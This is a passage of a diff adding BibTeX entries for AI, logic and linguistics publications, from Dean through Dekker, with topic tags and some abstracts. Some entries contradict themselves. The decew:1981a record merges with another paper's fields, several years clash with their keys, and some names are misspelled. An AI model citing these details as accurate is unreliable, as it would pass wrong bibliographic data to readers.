Management}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {1}, + pages = {1--55}, + missinginfo = {specific topics}, + topic = {temporal-reasoning;} + } + +@article{ dean-boddy:1988a, + author = {Thomas Dean and Mark Boddy}, + title = {Reasoning about Partially Ordered Events}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {36}, + number = {3}, + pages = {375--399}, + acontentnote = {Abstract: + This paper describes a class of temporal reasoning problems + involving events whose order is not completely known. We examine + the complexity of such problems and show that for all but + trivial cases these problems are likely to be intractable. As an + alternative to a complete, but potentially exponential-time + decision procedure, we provide a partial decision procedure that + reports useful results and runs in polynomial time.}, + topic = {temporal-reasoning;} + } + +@inproceedings{ dean-wellman_mp:1989a, + author = {Thomas Dean and Michael P. Wellman}, + title = {On the Value of Goals}, + booktitle = {Proceedings from the {R}ochester Planning Workshop: + From Formal Systems to Practical Systems}, + year = {1989}, + editor = {Josh Tenenberg and Jay Weber and James Allen}, + pages = {129--140}, + topic = {intention;foundations-of-planning;} + } + +@article{ dean:1991a, + author = {Thomas Dean}, + title = {Decision-Theoretic Control of Inference for + Time-Critical Applications}, + journal = {International Journal of Intelligent Systems}, + volume = {6}, + number = {4}, + pages = {417--441}, + year = {1991}, + topic = {limited-rationality;} + } + +@inproceedings{ dean-etal:1993a, + author = {Thomas Dean and Leslie Pack Kaelbling and Jak Kirman and + Ann Nicholson}, + title = {Planning with Deadlines in Stochastic Domains}, + booktitle = {Proceedings of the Eleventh National Conference on + Artificial Intelligence}, + year = {1993}, + editor = {Richard Fikes and Wendy Lehnert}, + pages = {574--579}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {planning;resource-limited-reasoning;} + } + +@article{ dean-etal:1995a, + author = {Thomas Dean and Leslie Pack Kaelbling and Jak Kirman and + Ann Nicholson}, + title = {Planning under Time Constraints in Stochastic Domains}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {35--74}, + topic = {planning;resource-limited-reasoning;} + } + +@book{ dean-etal:1995b, + author = {Thomas Dean and James Allen and Y. Aloimonos}, + title = {Artificial Intelligence: Theory and Practice}, + publisher = {Benjamin/Cummins Publishing}, + year = {1995}, + address = {Redwood City, California}, + ISBN = {0-8053-2547-6}, + xref = {Review: duboulay:2001a}, + topic = {AI-intro;} + } + +@book{ dean:1999a, + editor = {Thomas Dean}, + title = {Proceedings of the Sixteenth International Joint + Conference on Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1999}, + address = {San Francisco}, + volume = {1}, + topic = {AI-general;} + } + +@book{ dean_t:1999b, + editor = {Thomas Dean}, + title = {Proceedings of the Sixteenth International Joint + Conference on Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1999}, + address = {San Francisco}, + volume = {2}, + topic = {AI-general;} + } + +@article{ deane:1995a, + author = {Paul Deane}, + title = {Review of {\it Computational Lexical Semantics}, edited + by {P}atrick {S}aint-{D}izier and {E}velyne {V}iegas}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {4}, + pages = {593--597}, + xref = {Review of: saintdizier-viegas:1995a.}, + topic = {machine-translation;nl-kr;computational-lexical-semantics; + lexical-processing;} + } + +@incollection{ deangelli-etal:1999a, + author = {Antonella de Angeli and Laurent Romary and Frederic Wolf}, + title = {Ecological Interfaces: Extending the Pointing Paradigm + by Visual Context}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {91--104}, + address = {Berlin}, + topic = {context;HCI;} + } + +@article{ dearden-boutilier:1997a, + author = {Richard Dearden and Craig Boutilier}, + title = {Abstraction and Approximate Decision-Theoretic Planning}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {89}, + number = {1--2}, + pages = {219--283}, + topic = {planning;Markov-decision-processes;abstraction; + decision-theory;qualitative-utility;} + } + +@book{ debakker-etal:1989a, + editor = {J.W. de Bakker and W.P. de Roever and G. + Rozenburg}, + title = {Linear Time, Branching Time and Partial Order in + Logics and Models for Concurrency}, + publisher = {Springer-Verlag}, + year = {1989}, + address = {Berlin}, + missinginfo = {A's 1st name.}, + topic = {temporal-logic;modal-logic;branching-time;tmix-project; + concurrency;} + } + +@book{ debeaugrande:1980a, + author = {Robert de Beaugrande}, + title = {Text, Discourse, and Process: Toward a Multidisciplinary + Science of Texts}, + publisher = {Ablex Publishing Corp.}, + year = {1980}, + address = {Norwood, New Jersey}, + topic = {discourse-analysis;} +} + +@book{ debeauregarde-dressler:1981a, + author = {R. {de Beauregard} and W. Dressler}, + title = {Introduction to Text Linguistics}, + publisher = {Longman}, + year = {1981}, + address = {London}, + missinginfo = {A's 1st name; check topic}, + topic = {pragmatics;text-linguistics;discourse;} + } + +@book{ debeauregarde:1984a, + author = {Robert de Beaugrande}, + title = {Text Production: Toward a Science of Composition}, + publisher = {Ablex Publishing Corp.}, + year = {1984}, + address = {Norwood, New Jersey}, + topic = {discourse-analysis;} +} + +@incollection{ debille:1991a, + author = {Lieve Debille}, + title = {Anaphora Resolution in {MMI2}}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {63--70}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {anaphora;anaphora-resolution;} + } + +@incollection{ debreu:1954a, + author = {Gerard Debreu}, + title = {Representation of a Preference Ordering by a Numerical + Function}, + booktitle = {Decision Processes}, + editor = {R. M. Thrall and C. H. Coombs and R. L. Davis}, + year = {1954}, + publisher = {John Wiley \& Sons}, + address = {New York}, + topic = {decision-theory;qualitative-utility;preferences;} + } + +@book{ debreu:1959a, + author = {Gerard Debreu}, + title = {Theory of Value: an Axiomatic Analysis of Economic + Equilibrium}, + publisher = {John Wiley and Sons}, + year = {1959}, + address = {New York}, + topic = {decision-theory;} + } + +@article{ decew:1981a, + author = {Judith Wagner Decew}, + title = {Conditional Obligation and Counterfactuals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {1}, + pages = {55--72}, + title = {Bare Sentences}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {31--50}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {tense-aspect;} + } + +@article{ dechter_r-pearl:1987a, + author = {Rina Dechter and Judea Pearl}, + title = {Network-Based Heuristics for Constraint-Satisfaction + Problems}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {34}, + number = {1}, + pages = {1--38}, + topic = {constraint-satisfaction;graph-based-reasoning; + heuristics;} + } + +@incollection{ dechter_r-etal:1989a1, + author = {Rina Dechter and Itay Meiri and Judea Pearl}, + title = {Temporal Constraint Networks}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {83--93}, + address = {San Mateo, California}, + xref = {Journal publication: dechter_r-etal:1989a2.}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@article{ dechter_r-pearl:1989a, + author = {Rina Dechter and Judea Pearl}, + title = {Tree Clustering for Constraint Networks}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {38}, + number = {3}, + pages = {353--366}, + topic = {constraint-satisfaction;AI-algorithms;} + } + +@article{ dechter_r:1990a, + author = {Rina Dechter}, + title = {Enhancement Schemes For Constraint Processing: + Backjumping, Learning, and Cutset Decomposition}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {41}, + number = {3}, + pages = {273--312}, + topic = {constraint-satisfaction;AI-algorithms;} + } + +@article{ dechter_r-etal:1991a2, + author = {Rina Dechter and Itat Meiri and Judea Pearl}, + title = {Temporal Constraint Networks}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {49}, + number = {1--3}, + pages = {61--95}, + xref = {Conference publication: dechter_r-etal:1989a1.}, + topic = {temporal-reasoning;constraint-satisfaction;kr;krcourse;} + } + +@inproceedings{ dechter_r-pearl:1991a, + author = {Rina Dechter and Judea Pearl}, + title = {A Relational Framework for Causal Modeling}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara J. Grosz and John Mylopoulos}, + pages = {1164--1170}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {causality;causal-networks;} + } + +@article{ dechter_r:1992a, + author = {Rina Dechter}, + title = {From Local to Global Consistency}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {55}, + number = {1}, + pages = {87--108}, + acontentnote = {Abstract: + In reasoning tasks involving the maintenance of consistent + databases (so-called "constraint networks"), it is customary to + enforce local consistency conditions in order to simplify the + subsequent construction of a globally coherent model of the + data. In this paper we present a relationship between the sizes + of the variables' domains, the constraints' arity and the level + of local consistency sufficient to ensure global consistency. + Based on these parameters a new tractability classification of + constraint networks is presented. We also show, based on this + relationship, that any relation on bi-valued variables which is + not representable by a network of binary constraints cannot be + represented by networks with any number of hidden variables.}, + topic = {consistency-checking;constraint-networks;} + } + +@article{ dechter_r-pearl:1992a, + author = {Rina Dechter and Judea Pearl}, + title = {Structure Identification in Relational Data}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {58}, + number = {1--3}, + pages = {237--270}, + acontentnote = {Abstract: + This paper presents several investigations into the prospects + for identifying meaningful structures in empirical data, namely, + structures permitting effective organization of the data to meet + requirements of future queries. We propose a general framework + whereby the notion of identifiability is given a precise formal + definition similar to that of learnability. Using this + framework, we then explore if a tractable procedure exists for + deciding whether a given relation is decomposable into a + constraint network or a CNF theory with desirable topology and, + if the answer is positive, identifying the desired + decomposition. Finally, we address the problem of expressing a + given relation as a Horn theory and, if this is impossible, + finding the best k-Horn approximation to the given relation. We + show that both problems can be solved in time polynomial in the + length of the data.}, + topic = {Horn-approximation;} + } + +@article{ dechter_r-meiri:1994a, + author = {Rina Dechter and Itay Meiri}, + title = {Experimental Evaluation of Preprocessing Algorithms for + Constraint Satisfaction Problems}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {68}, + number = {2}, + pages = {211--241}, + acontentnote = {Abstract: + This paper presents an experimental evaluation of two orthogonal + schemes for preprocessing constraint satisfaction problems + (CSPs). The first of these schemes involves a class of local + consistency techniques that includes directional arc + consistency, directional path consistency, and adaptive + consistency. The other scheme concerns the prearrangement of + variables in a linear order to facilitate an efficient search. + In the first series of experiments, we evaluated the effect of + each of the local consistency techniques on backtracking and + backjumping. Surprisingly, although adaptive consistency has + the best worst-case complexity bounds, we have found that it + exhibits the worst performance, unless the constraint graph was + very sparse. Directional arc consistency (followed by either + backjumping or backtracking) and backjumping (without any + preprocessing) outperformed all other techniques: moreover, the + former dominated the latter in computationally intensive + situations. The second series of experiments suggests that + maximum cardinality and minimum width are the best preordering + (i.e., static ordering) strategies, while dynamic search + rearrangement is superior to all the preorderings studied. } , + topic = {constraint-satisfaction;arc-consistency;experimental-AI;} + } + +@incollection{ dechter_r-rish:1994a, + author = {Rina Dechter and Irina Rish}, + title = {Directional Resolution: The {D}avis-{P}utnam Procedure, + Revisited}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {134--145}, + address = {San Francisco, California}, + topic = {kr;theorem-proving;kr-course;} + } + +@article{ dechter_r-dechter_a:1996a, + author = {Rina Dechter and Avi Dechter}, + title = {Structure-Driven Algorithms for Truth Maintenance}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {1--20}, + topic = {truth-maintenance;belief-revision;complexity-in-AI;} + } + +@inproceedings{ dechter_r:1999a, + author = {Rina Dechter}, + title = {Unifying Structure-Driven Inference}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {AI-algorithms;constraint-satisfaction; + probabilistic-reasoning;decision-theoretic-planning;} + } + +@article{ dechter_r:1999b, + author = {Rina Dechter}, + title = {Bucket Elimination: A Unifying Framework for + Reasoning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {41--85}, + topic = {dynamic-programming;constraint-satisfaction; + constraint-networks;search;Bayesian-networks;} + } + +@article{ dechter_r-fatah:2001a, + author = {Rina Dechter and Yousri El Fatah}, + title = {Topological Parameters for Time-Space Tradeoff}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {125}, + number = {1--2}, + pages = {93--118}, + topic = {problem-solving;complexity-in-AI;tree-clustering-algorithms; + AI-algorithms;} + } + +@article{ declerck:1979a, + author = {Renaat Declerck}, + title = {On the Progressive and the `Imperfective Paradox'\, } , + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {2}, + pages = {267--272}, + topic = {tense-aspect;imperfective-paradox;} + } + +@article{ declerk:1988a, + author = {Renaat Declerk}, + title = {Restrictive `When'-Clauses}, + journal = {Linguistics and Philosophy}, + year = {1988}, + volume = {11}, + number = {2}, + pages = {131--168}, + topic = {nl-semantics;conditionals;sentence-focus;pragmatics;} + } + +@article{ decornulier:1978a, + author = {Benoit de Cornulier}, + title = {Paradoxical Self-Reference}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {3}, + pages = {435}, + topic = {semantic-paradoxes;} + } + +@article{ decoste:1991a, + author = {Dennis DeCoste}, + title = {Dynamic Across-Time Measurement Interpretation}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {273--341}, + acontentnote = {Abstract: + Incrementally maintaining a qualitative understanding of + physical system behavior based on observations is crucial to + tasks such as real-time control, monitoring, and diagnosis. This + paper describes the DATMI theory for interpretation tasks. The + key idea of DATMI is to dynamically maintain a concise + representation of the space of local and global interpretations + across time that are consistent with the observations. This + representation has two key advantages. First, a set of possible + interpretations is more useful than a single (best) candidate + for many tasks, such as conservative monitoring. Second, this + representation simplifies switching to alternative + interpretations when data are faulty or incomplete. + Domain-specific knowledge about state and transition + probabilities can be used to suggest the interpretation which is + most likely. Domain-specific knowledge about durations of + states and paths of states can also be used to further constrain + the interpretation space. When no consistent interpretation + exists, faulty-data hypotheses are generated and then tested by + adjusting the interpretation space. The DATMI theory has been + tested via implementation and we describe its performance on two + examples.}, + topic = {qualitative-physics;temporal-reasoning;} + } + +@incollection{ decristofaro-etal:1999a, + author = {Jonathan DeCristofaro and Michael Strube and Kathleen + F. McCoy}, + title = {Building a Tool for Annotating Reference in Discourse}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {54--62}, + address = {New Brunswick, New Jersey}, + topic = {anaphora;corpus-annotation;} + } + +@article{ definetti:1937a1, + author = {Bruno de Finitti}, + title = {La Pr\'evision: Ses Lois Logiques, Ses Sources Subjectives}, + journal = {Annales de l'Institut Henri Poincar\'e}, + year = {1937}, + volume = {7}, + pages = {1--68}, + xref = {See definetti:1937a2 for English Translation.}, + missinginfo = {number}, + topic = {subjective-probabilty;qualitative-probability; + foundations-of-probability;foundations-of-statistics;} + } + +@incollection{ definetti:1937a2, + author = {Bruno De Finetti}, + title = {Foresight: Its Logical Laws, Its Subjective Sources}, + booktitle = {Studies in Subjective Probability}, + publisher = {John Wiley and Sons}, + year = {1964}, + editor = {Henry E. {Kyburg, Jr.} and Howard E. Smokler}, + pages = {93--158}, + address = {New York}, + xref = {Original publication: definetti:1937a1.}, + note = {Originally published in 1937 under the title + `La Prevision: Ses Lois Logiques, Ses Sources Subjectives'.}, + topic = {subjective-probabilty;qualitative-probability; + foundations-of-probability;foundations-of-statistics;} + } + +@book{ definetti:1990a, + author = {Bruno De Finetti}, + title = {Theory of Probability: A Critical Introductory Treatment}, + publisher = {John Wiley and Sons}, + year = {1990}, + volume = {1}, + note = {First published in 1970.}, + address = {New York}, + topic = {foundations-of-probability;} + } + +@book{ definetti:1990b, + author = {Bruno De Finetti}, + title = {Theory of Probability: A Critical Introductory Treatment}, + publisher = {John Wiley and Sons}, + year = {1990}, + volume = {2}, + note = {First published in 1970.}, + address = {New York}, + topic = {foundations-of-probability;} + } + +@incollection{ degand:1998a, + author = {Liesbeth Degand}, + title = {On Classifying Connectives and Coherence Relations}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {36--42}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;} + } + +@incollection{ degiacomo-lenzerini:1994a, + author = {Giuseppe {De Giacomo} and Maurizio Lenzerini}, + title = {Description Logics With Inverse Roles, Functional + Restrictions, and N-ary Relations}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {332--346}, + address = {Berlin}, + topic = {extensions-of-kl1;taxonomic-logics;} + } + +@inproceedings{ degiacomo-lenzerini:1995a, + author = {Giuseppe {De Giacomo} and Maurizio Lenzerini}, + title = {What's in an Aggregate: Foundations for Description Logics + with Tuples and Sets}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {801--807}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;taxonomic-logics;extensions-of-kl1;kr-course;} + } + +@article{ degiacomo:1996a, + author = {Giuseppe {De Giacomo}}, + title = {Eliminating `Converse' from Converse {PDL}}, + journal = {Journal of Logic, Language, and Information}, + year = {1996}, + volume = {5}, + number = {2}, + pages = {193--208}, + topic = {dynamic-logic;modal-logic;} + } + +@incollection{ degiacomo-etal:1996a, + author = {Giuseppe {De Giacomo} and Luca Iocchi and Daniele Nardi and + Riccardo Rosati}, + title = {Moving a Robot: The {KR\&R} Approach at Work}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {198--209}, + address = {San Francisco, California}, + topic = {kr;cognitive-robotics;taxonomic-logics;robot-motion; + kr-course;} + } + +@incollection{ degiacomo-lenzerini:1996a, + author = {Giuseppe {De Giacomo} and Maurizio Lenzerini}, + title = {{TB}ox and {AB}ox Reasoning in Expressive Description + Logics}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {316--327}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;extensions-of-kl1;classifier-algorithms; + kr-course;} + } + +@inproceedings{ degiacomo-etal:1997a, + author = {Guiseppe De Giacomo and Yves Lesp\'erance and + Hector J. Levesque}, + title = {Reasoning about Concurrent Execution, Prioritized + Interrupts, and Exogenous Actions in the Situation Calculus}, + booktitle = {Proceedings of the Fifteenth International Joint + Conference on Artificial Intelligence}, + year = {1997}, + editor = {Martha Pollack}, + pages = {1221--1226}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {situation-calculus;concurrency;cognitive-robotics;} + } + +@incollection{ degiacomo-etal:1998a, + author = {Giuseppe De Giacomo and Raymond Reiter and Mikhail Soutchanski}, + title = {Execution Monitoring of High-Level Robot Plans}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {453--464}, + address = {San Francisco, California}, + topic = {kr;kr-course;} + } + +@inproceedings{ degiacomo-rossali:1999a, + author = {Giuseppe De Giacomo and Riccardi Rosali}, + title = {Minimal Knowledge Approach to Reasoning about + Actions and Sensing}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {25--32}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;sensing-actions;} + } + +@article{ degiacomo-etal:2000a, + author = {Giuseppe De Giacomo and Yves L\'esperance and + Hector J. Levesque}, + title = {{C}on{G}olog, A Concurrent Programming Language + based on Situation Calculus}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {121}, + number = {1--2}, + pages = {109--169}, + topic = {Golog;situation-calculus;concurrency;cognitive-robotics;} + } + +@incollection{ degiacomo-levesque:2000a, + author = {Giuseppe De Giacomo and Hector J. Levesque}, + title = {Two Approaches to Efficient Open-World Reasoning}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {59--78}, + address = {Dordrecht}, + topic = {logic-in-AI;kr;query-evaluation;temporal-reasoning;} + } + +@incollection{ degiacomo-etal:2002a, + author = {Giuseppe De Giacomo and Yves Lesp\'erance and Hector + J. Levesque and Sebastian Sardi\~na}, + title = {On the Semantics of Deliberation in {I}ndi{G}olog--from + Theory to Implementation}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {603--614}, + address = {San Francisco, California}, + topic = {kr;Golog;planning-algorithms;} + } + +@article{ degroote-lamarche:2002a, + author = {Philippe de Groote and Fran\c{c}ois Lamarche}, + title = {Classical Non-Associative {L}ambek Calculus}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {355--388}, + topic = {Lambek-calculus;linear-logic;proof-complexity;} + } + +@incollection{ dehaas-adriaans:1999a, + author = {Erik de Haas and Pieter Adriaans}, + title = {Substructural Logic: A Unifying Framework for + Second Generation Datamining Algorithms}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {121--126}, + address = {Amsterdam}, + topic = {substructural-logics;data-mining;} + } + +@book{ dehane:1997a, + author = {Stanislaus Dehane}, + title = {The Number Sense: How the Mind Creates Mathematics}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + topic = {philosophy-of-mathematics;foundations-of-cognition; + psychology-of-mathematics;} + } + +@incollection{ dehoop:1985a, + author = {Helen de Hoop}, + title = {On the Characterization of the Weak-Strong Distinction}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {421--450}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;existential-constructions;} + } + +@incollection{ dejager-etal:2002a, + author = {Samson de Jager and Alistair Knott and Ian Bayard}, + title = {A {DRT}-Based Framework for Presupposition in Dialogue + Management}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {61--68}, + address = {Edinburgh}, + topic = {DTR;presupposition;computational-discourse;} + } + +@incollection{ dejean:1998a, + author = {Herv\'e D\'ejean}, + title = {Morphemes as Necessary Concept for + Structures Discovery from Untagged Corpora}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {295--298}, + address = {Somerset, New Jersey}, + topic = {corpus-tagging;morphology;} + } + +@incollection{ dejean:2000a, + author = {Herv\'e D\'ejean}, + title = {{ALLiS}: A Symbolic Learning System for + Natural Language Learning}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {95--98}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;grammar-learning;} + } + +@incollection{ dejean:2000b, + author = {Herv\'e D\'ejean}, + title = {Learning Syntactic Structures with {XML}}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {133--135}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;corpus-annotation;XML;} + } + +@book{ dejnozka:1999a, + author = {Jan Dejno\v{z}ka}, + title = {{B}ertrand {R}ussell on Modality and Logical Relevance}, + publisher = {Ashgate}, + year = {1999}, + address = {Aldershot}, + ISBN = {1-84014-981-7}, + xref = {Review: griffin:2001a.}, + topic = {Russell;modal-logic;modality;relevance-logic;} + } + +@article{ dejong_gf-gratch:1991a, + author = {Gerald F. DeJong and Jonathan Gratch}, + title = {Review of {\it Learning Search Control + Knowledge: An Explanation-Based Approach}, by {S}teve {M}inton}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {1}, + pages = {117--127}, + xref = {Review of minton:1988a.}, + topic = {machine-learning;explanation-based-learning; + procedural-control;} + } + +@article{ dejong_gf:1994a, + author = {Gerald F. DeJong}, + title = {Learning to Plan in Continuous Domains}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {1}, + pages = {71--141}, + acontentnote = {Abstract: + In this paper, we propose an approach to planning in domains + with continuous world features. We argue that current models of + world change (including traditional planners, reactive systems, + and many connectionist systems) implicitly adopt a discrete + action assumption which precludes efficient reasoning about + continuous world change. A formalism for continuous world change + is outlined, and an ideal continuous domain planner is defined. + An implemented computationally tractable approximation to the + ideal planner is discussed and its behavior is described. + Empirically, the implementation is shown to exhibit some of the + important design features of the new planning approach. Learning + plays a central role in this approach. With experience, + accuracy is increased and planning time is reduced even though + the system's background knowledge of the world is only + approximate or "plausible". The acquired planning concepts are + most accurate in situations similar to the ones in which they + are most exercised. Thus, the approach possesses a natural + adaptation to systematic properties implicit in the observed + distribution of problems.}, + topic = {planning;reasoning-about-continuous-time;} + } + +@article{ dejong_gf-bennett:1997a, + author = {Gerald D. DeJong and Scott W. Bennett}, + title = {Permissive Planning: Extending Classical Planning to + Uncertain Task Domains}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {89}, + number = {1--2}, + pages = {173--217}, + topic = {planning;explanation-based-learning;uncertainty-in-AI;} + } + +@article{ dejong_h-rip:1997a, + author = {Hidde de Jong and Arie Rip}, + title = {The Computer Revolution in Science: Steps Toward the + Realization of Computer-Supported Discovery Procedures}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {91}, + number = {2}, + pages = {225--256}, + topic = {automated-scientific-discovery;} + } + +@article{ dejong_h-vanraalte:1999a, + author = {Hidde de Jong and Frank {van Raalte}}, + title = {Comparative Envisionment Construction: A Technique for + the Comparative Analysis of Dynamical Systems}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {2}, + pages = {145--214}, + topic = {qualitative-physics;qualitative-reasoning;dynamic-systems;} + } + +@incollection{ dekel-gul:forthcominga, + author = {E. Dekel and F. Gul}, + title = {Rationality and Knowledge in Game Theory}, + booktitle = {Advances in Economic Theory: Seventh World Congress + of the Econometric Society}, + publisher = {Cambridge University Press}, + editor = {D. Kreps and K. Wallace}, + address = {Cambridge, England}, + missinginfo = {A's 1st names, pages, year.}, + topic = {game-theory;rationality;mutual-belief;} + } + +@techreport{ dekker:1990a, + author = {Paul Dekker}, + title = {The Scope of Negation in Discourse}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--09}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland } , + topic = {negation;dynamic-logic;Montague-grammar;} + } + +@book{ dekker-stokhof:1991a, + editor = {Paul Dekker and Martin Stokhof}, + title = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1991}, + address = {Amsterdam}, + topic = {nl-semantics;pragmatics;} + } + +@article{ dekker:1993a, + author = {Paul Dekker}, + title = {Existential Disclosure}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {6}, + pages = {561--587}, + topic = {dynamic-logic;relational-nouns;adverbs;nl-tense;} + } + +@inproceedings{ dekker:1994a, + author = {Paul Dekker}, + title = {Predicate Logic with Anaphora}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {79--95}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;anaphora;} + } + +@article{ 